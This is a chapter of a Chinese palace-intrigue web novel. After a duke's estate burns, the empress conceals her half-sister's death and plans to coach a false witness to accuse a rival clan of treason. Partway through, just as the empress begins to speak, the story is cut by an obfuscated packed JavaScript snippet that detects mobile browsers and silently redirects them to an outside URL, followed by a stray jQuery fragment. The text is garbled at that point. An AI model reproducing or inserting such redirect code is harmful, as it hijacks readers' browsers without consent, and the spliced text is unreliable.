冬日夜长，卯时，天际仅有一线橘青挣扎着透出，驱不散弥漫的沉凝。


    夏清圆刚为萧翊系好腰间的蟠龙玉带，殿外便传来吴全顺刻意放轻却难掩急促的脚步声。


    他几乎是小跑着进来，拂尘都未来得及摆正，便躬身急禀：“皇上，冯国公府出事了！”


    萧翊未避讳夏清圆，示意他继续。


    吴全顺稳了稳因疾走而微乱的喘息，字字清楚：“子时三刻，冯国公府京西的皇庄突遭大火。昨夜北风甚烈，火借风势，席卷极快，粮仓、药库、连同紧邻的别院……尽数焚毁，几成白地。”


    “起火缘由。”萧翊的声音听不出波澜，只眼底深处掠过一丝锐光。


    “据逃出的几个佃农所言，是大队流寇趁夜突袭，劫掠钱粮后纵火焚庄，意图毁灭踪迹。”吴全顺将“流寇”二字说得略重。


    “流寇？”萧翊冷笑一声，显然是未信，反问：“太平盛世，京畿重地，何处能藏匿成建制、敢袭掠国公皇庄的‘流寇’？”


    “京兆府作何勘验？”


    “火势凶猛，又兼风助，扑救不及。待京兆尹率大队人马赶到时，火场余烬灼烫，烟气蔽空，难以即刻深入查探。”


    吴全顺顿了顿，补充道，“冯国公昨夜恰宿于别院，受惊不浅，宫门甫开便直奔御前，此刻……正跪候在御书房外阶下，涕泪交加，声声呼唤面圣，状若癫狂。”


    侍立一旁的夏清圆，正垂眸为萧翊整理袖口，闻言，动作一顿。


    她原以为权贵间的倾轧，多限于朝堂奏章的机锋、言官弹劾的唇枪舌剑、抑或是后宫阴私的算计。


    直到此刻，这“流寇纵火”四字，如一道雪亮霹雳，瞬间劈开了她认知的屏障。


    她低估了曹家这类盘踞一方的强权之家的反击方式——


    陇西曹氏，其行事底色带着远地豪强特有的狠辣与决绝。


    他们解决问题，不会全依赖于朝堂上的唇枪舌剑，更有私下动用武力、快意恩仇的传统。


    在这件事上，杀人放火出气，伪装盗匪善后，这才是最符合他们行事逻辑的选择。


    曹扣军新遭贬斥，贤妃痛失爱女，这口混杂着争权失利与丧亲之痛的恶气，已在曹氏门阀胸中淤积太久。


    季太医这条意外浮出的线索，于他们而言，不啻于一道撕裂绝望阴云的闪电。


    劫人、放火、毁迹——整套动作狠辣果决，既是最直接的情绪宣泄，更是向所有动摇或落井下石者掷出的血腥战书：陇西曹氏“虽败未垮”，胆敢挑衅者，纵是一品国公，亦要付出代价！


    这已非简单的报复，而是掺杂着实力展示与心理威慑的复合打击。


    退一万步，从现实角度看，一场火烧了冯国公府城外的所有家当，出了恶气；人证在手，又可以上告。


    “可有人伤亡？”萧翊的声音将她从纷乱的思绪中拉回。


    “火场惨烈，清理出焦骸数具，面目身形俱毁，身份一时难以辨认。”


    夏清圆指尖又是一颤，一股寒意顺着脊梁悄然爬上。


    不对劲。


    冯家遭此巨变，第一反应不是紧闭府门、清理首尾、暗中查探，反而由冯国公亲身、第一时间哭诉于御前？


    “皇上。”她适时抬起眼眸，那双惯常含着娇憨或灵动的杏眼里，此刻盛满了真切而不安的神色，“赐婚的恩旨墨迹未干，冯家便突遭如此横祸。臣妾……心中实在惶恐难安，又惦念二小姐的安危。”


    她声音渐低，带着一丝隐蔽的恳求，“能否……容臣妾随驾同往？”


    萧翊见她焦虑不似伪装，大约是生怕这骤起的风波搅黄了兄长婚事。


    他略一沉吟，终是点了点头：“罢了，随朕去吧。”


    想起冯国公那副惯常昏聩贪婪的嘴脸，萧翊琢磨着，他此刻入宫，十有八九是要为那烧成白地的田庄库藏哭天抢地，变着法子求补偿、讨恩赏。


    心中厌烦顿生，反倒不急了，径自撩袍在膳桌旁坐下，执起银箸：“急也不在这一时。先用早膳。”


    夏清圆顺从地退回内室更衣。


    借着象牙梳篦划过青丝的细微声响遮掩，她对身后的锦娘道：“传信出去，让你弟弟那边……早做准备。”


    锦娘只极其轻微地颔首，将一缕发丝妥帖绾入髻中，一切尽在不言。


    与临华宫的这份从容相比，此刻的凤仪宫，已如沸鼎翻腾。


    皇后起身，连发髻都没来得及盘，披上大氅就往御书房赶。


    临出门，又吩咐道：“郁嬷嬷，你留下，把大皇子接到正殿来，你寸步不离地照看！”


    “到底怎么回事？庄子上怎么起火了？”皇后连辇都来不及传，带着金忠边走边问，“季太医的家眷呢？都还在吗？”


    “活不见人，死不见尸。”金忠回道。


    “贤妃怎么会突然查到庄子！”秋霜又急又怒，声音都尖了，“咱们不是一直……”


    “现在追问这些还有何用！”皇后断然截住她的话头，心念却如电光石火般急转——这样大的阵仗，那人证八成已落入曹家手里。


    此刻再想封口已是徒劳。当务之急，是要想个法子，让皇上不相信曹家的指控！


    “还有一事，”金忠声音压得更沉，“火势蔓延极快，别院‘珊瑚阁’未能幸免……二小姐，殁了。”


    冯国公荒唐昏聩，宠妾灭妻，多年来将外室柳氏及其所出之女冯瑚视若珍宝，公然娇养在别院，这份荒唐与偏爱，早已是京城勋贵中的笑谈。


    如今一场大火，倒真应了“祸福无门，惟人自召”的老话。


    皇后猛地刹住脚步，霍然转身，“冯瑚烧死了？”


    “昨夜北风狂烈，粮仓、库房堆满干燥之物，皆为引火之媒，火舌窜至别院时，二小姐所居‘珊瑚馆’首当其冲……尸身已不堪辨认，但贴身佩戴的羊脂玉长命锁残片可证身份。”


    金忠自袖中取出一枚被烈焰灼烧得乌黑变形、仅余大概轮廓的玉锁，低声道：“发现尸身的几人已封口。如何处置，请娘娘示下。”


    皇后闭目，深吸了一口黎明前最凛冽的空气。廊檐上，恰好传来冰棱断裂坠地的清脆响声，在一片死寂中格外刺耳。


    那声音，莫名地让她想起了记忆中幼时的某个夏日，冯瑚在国公府花园里打碎琉璃盏的声响——也是这般清脆，带着一种天真而无知的破坏性。


    再睁眼时，皇后眸中的惊怒化为一片冰封般的死寂与决绝：


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16916247|192431||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “皇上昨夜宿在何处？”


    “临华宫。此刻……想必还未见到国公爷。”秋霜答。


    “金忠，你立刻回国公府，”


    皇后像是抓住了救命稻草，“找个签了死契的奴才，要机灵、口齿清楚的，带过来。教他说——”她的声音更低，几不可闻，唯有金忠能听清那惊心动魄的寥寥数语。


    “奴才明白！必办妥当！”


    皇后裹紧大氅，疾步如风，朝御书房奔去。


    一脚刚踏进隆福门，余光便瞥见右侧宫墙根下，蜷缩着一团瑟瑟发抖、不住呜咽的黑影。


    那人狼狈不堪，锦袍下摆烧焦了一片，脸上满是烟熏火燎的黑灰，被泪水冲出纵横交错的沟壑，花白的胡子也焦卷起来，正是她的父亲，冯国公。


    一股混杂着愤怒与失望的郁气直冲顶门。皇后脚步不停，直至那黑影面前，厉声喝道：“起来！”


    “娘娘……娘娘啊！女儿！我的女儿啊！”冯国公闻声扑过来，哭嚎声在空旷的宫门前显得格外凄厉刺耳。


    “你进宫来做什么？！”皇后一把挥开他沾满灰烬的手。


    “申冤！我要向皇上申冤啊！”冯国公全然未察其中险恶，还当是流寇作恶。


    “哪来的天杀流寇！无法无天！竟敢动到我国公府头上！还有王法吗！皇上……皇上要为老臣做主啊！”


    想起冯瑚，他更是涕泗滂沱，捶胸顿足，“我的瑚儿……瑚儿……她都烧成焦……”


    “你给本宫闭嘴！”皇后只觉一股腥甜冲上喉头，眼前阵阵发黑。


    她猛地俯身，几乎是用蛮力将瘫软在地的父亲揪起来，抽出自己的绢帕，毫不留情地狠狠擦去他脸上污浊的泪痕与灰烬。


    每一个字都从紧咬的牙关中迸出，压抑着，恶狠狠道：“季太医的家眷被人劫走了！你再这样糊涂嚎丧下去，冯家满门上下，包括宫里昀儿和我，都要背上谋害皇嗣、抄家灭族的大罪！你听懂了没有？！”


    “什……什么？”冯国公的哭嚎像是被一只无形的手猛然扼住，戛然而止。


    他瞪大眼睛，脸上残留的悲愤瞬间被巨大的恐惧冲刷得一干二净，嘴唇哆嗦着，“劫……劫走了？怎…怎么会……不，不会的……”


    “怎么会？”皇后怒极反笑，“本宫还想问你！你手下养的都是些什么酒囊饭袋？连几个大活人都看不住？现在，曹家捏着这些人，随时可以要我们的命！”


    “那…那现在怎么办？我…我立刻调人，不，我亲自带人去追！”冯国公彻底慌了神，语无伦次。


    皇后用力将他抵在冰冷坚硬的宫墙上，带着孤注一掷的狠绝与不容置疑的威压：“听着！等会儿见了皇上，关于冯瑚，你只能说——她无碍，但面容被烧毁。记住了吗？”


    “可…可瑚儿明明已经……这是欺君…”冯国公的嘴唇哆嗦着，脸上的肌肉因极度的恐惧和残留的悲痛而扭曲抽搐。


    “冯家的活路，现在只系于本宫一人之手！”皇后猛地收紧手指，指甲几乎嵌进他肉里。


    “金忠会带‘证人’来。你要做的，就是在皇上面前，当着所有人的面，控告曹家勾结蜀地康王，蓄意谋反！听清楚没有？！这是冯家，求得生机的唯一机会！”